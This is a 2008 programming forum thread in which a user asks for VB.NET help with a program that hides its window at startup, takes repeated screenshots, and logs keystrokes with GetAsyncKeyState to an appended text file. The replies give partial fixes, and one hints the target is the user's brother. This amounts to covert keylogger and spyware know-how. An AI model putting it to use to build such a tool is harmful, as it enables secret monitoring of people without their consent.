By using this site, you agree to our updated Privacy Policy and our Terms of Use. Manage your Cookies Settings.
429,384 Members | 927 Online
Bytes IT Community
+ Ask a Question
Need help? Post your question and get tips & solutions from a community of 429,384 IT Pros & Developers. It's quick & easy.

Append to file; paste to Paint; Fast form hiding at startup; GetAsynchKeyState issues

P: 30
Sorry that im asking a lot of questions, i know, but i have a lot of things im curious about...

Well to begin, how do i make sure that the file that i am printing to keeps the original text that is already located in that file?

Second... In a screen shot application that uses CTRL + PRTSC then pastes to PAINT and SAVES how do you make it paste into paint and not another program?.... Script below....

Expand|Select|Wrap|Line Numbers
  1. Public Class Form1
  2.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  3.         Me.Visible = False
  4.     End Sub
  5.  
  6.     Private Sub Timer1_Tick3(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  7.         Timer1.Enabled = True
  8.         Timer1.Interval = 3
  9.     End Sub
  10.  
  11.  
  12.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  13.         SendKeys.Send("^{PRTSC}")
  14.         Call Shell("C:\Windows\System32\mspaint.exe", AppWinStyle.MaximizedFocus)
  15.         SendKeys.Send("^V")
  16.         SendKeys.Send("^S")
  17.         SendKeys.Send("{Enter}")
  18.         SendKeys.Send("%{F4}")
  19.     End Sub
  20. End Class
^ Also is there a way for the Form to hide itself faster, because you can see it pop up then go away?

- Is there a way to make an output for GetAsyncKeyState not be in all capital letters? I'm having trouble with that....

Finally... How would you be able to change the characters that are logged into a file from GetAsyncKeyState from strange characters that aren't easy to decifer to get logged as normal keystrokes?... Can i have an example of this?


(You don't have to respond to all of this at once.... any help is appreciated) Anything that you know is much more than I do... so if you have anything to post about one of these post it)

P.S. - I HAVE VB08
Feb 1 '08 #1
Share this Question
Share on Google+
7 Replies


Expert 5K+
P: 8,434
As for the form visibility, you should be able to set it to False at design time. Either that, or don't start with a form. Start up your project using a sub in a module (if possible) then have it load the form without displaying it. I use VB6, so things may be too different. But I can just set the project to start up a sub called Main instead of a form.

Can you explain what you mean by "normal keystrokes" and "strange characters"? There are more characters than there are keys, so what do you want to do?

...how do i make sure that the file that i am printing to keeps the original text that is already located in that file?
Can you explain in more detail what you mean by this? Do you want to append to a file? And what sort of technique are you using to write to the file now?


As for Paint, you might be able to use an Automation interface to drive Paint the way we do with Office apps. If so, you'd have much more control than by pretending the user is pressing keys.
Feb 1 '08 #2

Expert 5K+
P: 8,434
Oh, and I'm not sure what you mean about capitals from GetAsynchKeyState. If I remember correctly, that tests the state of physical keys on the keyboard, not what characters are coming from them. The "A" key is still the "A" key whether cap-lock is switched on or not.
Feb 1 '08 #3

P: 30
Oh, and I'm not sure what you mean about capitals from GetAsynchKeyState. If I remember correctly, that tests the state of physical keys on the keyboard, not what characters are coming from them. The "A" key is still the "A" key whether cap-lock is switched on or not.
well do you know how i can have this happen instead?
Feb 1 '08 #4

Expert 5K+
P: 8,434
well do you know how i can have this happen instead?
Sorry, I'm confused about what is happening, and what you want to happen.
Feb 1 '08 #5

daniel aristidou
100+
P: 491
This is for the ....brother control huh??
I was wondering whether it would be better to use the imagelist function that vb08 has....
instead of pasting it into paint.... Because it means you do not have to control another program...which might cause problems...it also then allows you to view the images back...
Bty inserting some simple buttons to go to view next and previous pictures
The code below is a guideline.....Made for vb6
You need to replace the picture1.picture ...with the location that you are gonna paste the picture
Expand|Select|Wrap|Line Numbers
  1. Private Declare Sub keybd_event Lib "user32" _
  2.         (ByVal bVk As Byte, ByVal bScan As Byte, _
  3.         ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
  4.  
  5. Private Sub Command1_Click()
  6.     DoEvents
  7.     Clipboard.Clear
  8.     keybd_event vbKeySnapshot, 0, 0, 0
  9.     DoEvents
  10.     keybd_event vbKeySnapshot, 0, &H2, 0
  11.     DoEvents
  12.     Picture1.Picture = Clipboard.GetData(vbCFBitmap)
  13.     DoEvents
  14.     Me.Refresh
  15. End Sub
Feb 1 '08 #6

P: 30
As for the form visibility, you should be able to set it to False at design time. Either that, or don't start with a form. Start up your project using a sub in a module (if possible) then have it load the form without displaying it. I use VB6, so things may be too different. But I can just set the project to start up a sub called Main instead of a form.

Can you explain what you mean by "normal keystrokes" and "strange characters"? There are more characters than there are keys, so what do you want to do?

Can you explain in more detail what you mean by this? Do you want to append to a file? And what sort of technique are you using to write to the file now?


As for Paint, you might be able to use an Automation interface to drive Paint the way we do with Office apps. If so, you'd have much more control than by pretending the user is pressing keys.
OK, the module sounds like a good idea, ill try it out

Well i use GetAsyncKeyState to see what characters have been pressed and it gives me weird characters when i press a button for example, instead of recording the {LShift} key it uses the symbol ..... I want to try to make it so these symbols are changed to the actual keys..... and if there is another thing i could use to get character instead of keystrokes.... or to make GetAsyncKeyState record characters instead of keys

Well to write to the file i use this code......
Expand|Select|Wrap|Line Numbers
  1. FileOpen(2, "C:\DSO\DOSCOMMANDS.txt", OpenMode.Output)
  2.         Print(2, TextBox1.Text)
Everything first must be written to a text box before it can get saved into the file.... is there a way for it to go straight to the file instead of the textbox then the .txt document? And can i make it so that the text in the DOSCOMMANDS.txt document doesnt get erased everytime that the program runs and logs a key?

How do i use an automation interface? That sounds like a better idea...
Feb 1 '08 #7

Expert 5K+
P: 8,434
Sorry, heading for bed now (it's 1am but I will say this...

OpenMode.Output probably need to change (my guess would be OpenMode.Append) in order to append to the file.

GetAsynchKeyState is designed to report the state of the keyboard. How that then gets translated is another matter. I don't know how it's normally handled. You could just set up an array holding all the possible entries and what you want to call them. But I recommend some more searching first, as this function may already exist.

And to send your text to the file, I'd suggest you probably just need to use the Print statement multiple times.
Feb 2 '08 #8

Post your reply

Sign in to post your reply or Sign up for a free account.